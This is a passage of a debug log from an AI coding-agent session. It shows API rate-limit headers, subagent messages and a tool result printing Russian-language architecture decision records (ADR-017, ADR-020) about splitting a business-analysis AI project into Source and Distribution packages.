[STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:15.078Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:15.081Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:15.084Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:15.087Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:15.094Z] [STDOUT]   \"request-id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:15.098Z] [STDOUT]   \"traceresponse\": \"00-1a870d442c0b2b4591c6022c1eba3dfe-d6e22b91c24eb00f-01\",\n[2026-09-29T07:45:15.104Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:15.110Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:15.115Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:15.130Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:15.135Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:15.141Z] [STDOUT]   \"cf-ray\": \"a4295dfb081c29ad-FRA\",\n[2026-09-29T07:45:15.146Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:15.157Z] [STDOUT] [log_fb4c74] response parsed {\n[2026-09-29T07:45:15.162Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:15.166Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:15.171Z] [STDOUT]   body: X {\n[2026-09-29T07:45:15.175Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:15.182Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:15.187Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:15.192Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:15.197Z] [STDOUT]     },\n[2026-09-29T07:45:15.202Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:15.207Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:15.213Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:15.220Z] [STDOUT]   },\n[2026-09-29T07:45:15.227Z] [STDOUT]   durationMs: 812,\n[2026-09-29T07:45:15.237Z] [STDOUT] }\n[2026-09-29T07:45:15.269Z] [INFO] {\n[2026-09-29T07:45:15.269Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"message\": {\n[2026-09-29T07:45:15.269Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"id\": \"msg_011CfXMjvMiNoCR58f4YGwA7\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:15.269Z] [INFO]     \"content\": [\n[2026-09-29T07:45:15.269Z] [INFO]       {\n[2026-09-29T07:45:15.269Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:15.269Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:15.269Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:15.269Z] [INFO]     ],\n[2026-09-29T07:45:15.269Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:15.269Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:15.269Z] [INFO]       \"cache_creation_input_tokens\": 3947,\n[2026-09-29T07:45:15.269Z] [INFO]       \"cache_read_input_tokens\": 42905,\n[2026-09-29T07:45:15.269Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:15.269Z] [INFO]         \"ephemeral_5m_input_tokens\": 3947,\n[2026-09-29T07:45:15.269Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:15.269Z] [INFO]       },\n[2026-09-29T07:45:15.269Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:15.269Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:15.269Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:15.269Z] [INFO]     },\n[2026-09-29T07:45:15.269Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:15.269Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:15.269Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:15.269Z] [INFO]   },\n[2026-09-29T07:45:15.269Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"uuid\": \"28d84b39-6612-4547-8b08-fefbcd2785aa\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:15.085Z\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"request_id\": \"req_011CfXMjuuvFVhkPQaMLinCs\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:15.269Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:15.269Z] [INFO] }\n[2026-09-29T07:45:15.277Z] [INFO] {\n[2026-09-29T07:45:15.277Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"message\": {\n[2026-09-29T07:45:15.277Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"id\": \"msg_011CfXMjvsy4h4mdFcahKVfX\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:15.277Z] [INFO]     \"content\": [\n[2026-09-29T07:45:15.277Z] [INFO]       {\n[2026-09-29T07:45:15.277Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:15.277Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:15.277Z] [INFO]         \"signature\": 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\"standard\",\n[2026-09-29T07:45:15.277Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:15.277Z] [INFO]     },\n[2026-09-29T07:45:15.277Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:15.277Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:15.277Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:15.277Z] [INFO]   },\n[2026-09-29T07:45:15.277Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"uuid\": \"4e9738bc-497a-4bff-81c6-82a64a2e0c1e\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:15.216Z\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"request_id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:15.277Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:15.277Z] [INFO] }\n[2026-09-29T07:45:15.680Z] [INFO] {\n[2026-09-29T07:45:15.680Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"message\": {\n[2026-09-29T07:45:15.680Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:15.680Z] [INFO]     \"content\": [\n[2026-09-29T07:45:15.680Z] [INFO]       {\n[2026-09-29T07:45:15.680Z] [INFO]         \"tool_use_id\": \"toolu_018RbiPHnRrUTRZvA6JEDgZq\",\n[2026-09-29T07:45:15.680Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:15.680Z] [INFO]         \"content\": \"\\nOutput too large (36.5KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bxach7km2.txt\\n\\nPreview (first 2KB):\\n=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n\\n# ADR-017: \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 ba-ai-process \u2014 Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-017 |\\n| Decision type | methodology |\\n| Decision status | accepted (human decision gate: [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)) |\\n| Decision date | 2026-09-22 |\\n| Owner | G-Ivan-A |\\n| Source | [issue #595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595); human approval and physical Source migration \u2014 [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599) and [PR #600](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/600) |\\n| Impacted artifacts | Source [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli), \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f [`research/mango/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango) \u0438 [`research/ai-education/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog [`ops/backlog.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md) |\\n| Supersedes | none |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process)\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u0443\u044e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u0442\u0435\u0441\u0442\u044b\\n\u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b. \u0418\u043c\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0449\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u0445\u043e\u0442\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[`package-manifest.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml)\\n\u0443\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 rationale.\\n...\\n\",\n[2026-09-29T07:45:15.680Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:15.680Z] [INFO]       }\n[2026-09-29T07:45:15.680Z] [INFO]     ]\n[2026-09-29T07:45:15.680Z] [INFO]   },\n[2026-09-29T07:45:15.680Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:15.680Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"uuid\": \"8d047497-518e-4b25-b456-220f2179466a\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:15.670Z\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:15.680Z] [INFO]     \"stdout\": \"=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n\\n# ADR-017: \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 ba-ai-process \u2014 Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-017 |\\n| Decision type | methodology |\\n| Decision status | accepted (human decision gate: [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)) |\\n| Decision date | 2026-09-22 |\\n| Owner | G-Ivan-A |\\n| Source | [issue #595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595); human approval and physical Source migration \u2014 [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599) and [PR #600](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/600) |\\n| Impacted artifacts | Source [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli), \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f [`research/mango/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango) \u0438 [`research/ai-education/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog [`ops/backlog.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md) |\\n| Supersedes | none |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process)\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u0443\u044e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u0442\u0435\u0441\u0442\u044b\\n\u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b. \u0418\u043c\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0449\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u0445\u043e\u0442\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[`package-manifest.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml)\\n\u0443\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 rationale.\\n\u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 MVP \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n[`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli),\\n\u0433\u0434\u0435 \u0435\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043d\u0430\u0432\u044b\u043a\u0438, \u0448\u0430\u0431\u043b\u043e\u043d\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430 RRP.\\n\\n\u041d\u0443\u0436\u043d\u0430 \u044f\u0432\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u043b\u044f\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0440\u0435\u0434 \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c:\\n\\n- \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale \u0432 runtime-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c;\\n- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 runtime \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 Source;\\n- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n  \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438;\\n- \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c\u0438, \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439.\\n\\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0430\u044f\\n[`ba-meta-model`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n\u0438\u043c\u0435\u0435\u0442 `scope: mango-only`; \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ADR \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439\\n=== decisions/2026-09-adr-020-clean-distribution-package.md\\n\\n# ADR-020: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 Distribution\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-020 |\\n| Decision type | methodology |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-26 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) |\\n| Impacted artifacts | \u0412\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 `projects/ba-ai-process/dist/` \u0438 \u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 Distribution \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043e\u0442\u0434\u0435\u043b\u044f\u044f \u0435\u0433\u043e \u043e\u0442 Source \u0438 rationale. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435. [Issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432.\\n\\n## Decision\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `projects/ba-ai-process/dist/execution-package-/` \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c **\u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b**. \u0412 \u0435\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0434, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0435\u0451 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 **\u0432 \u044d\u0442\u043e\u0439 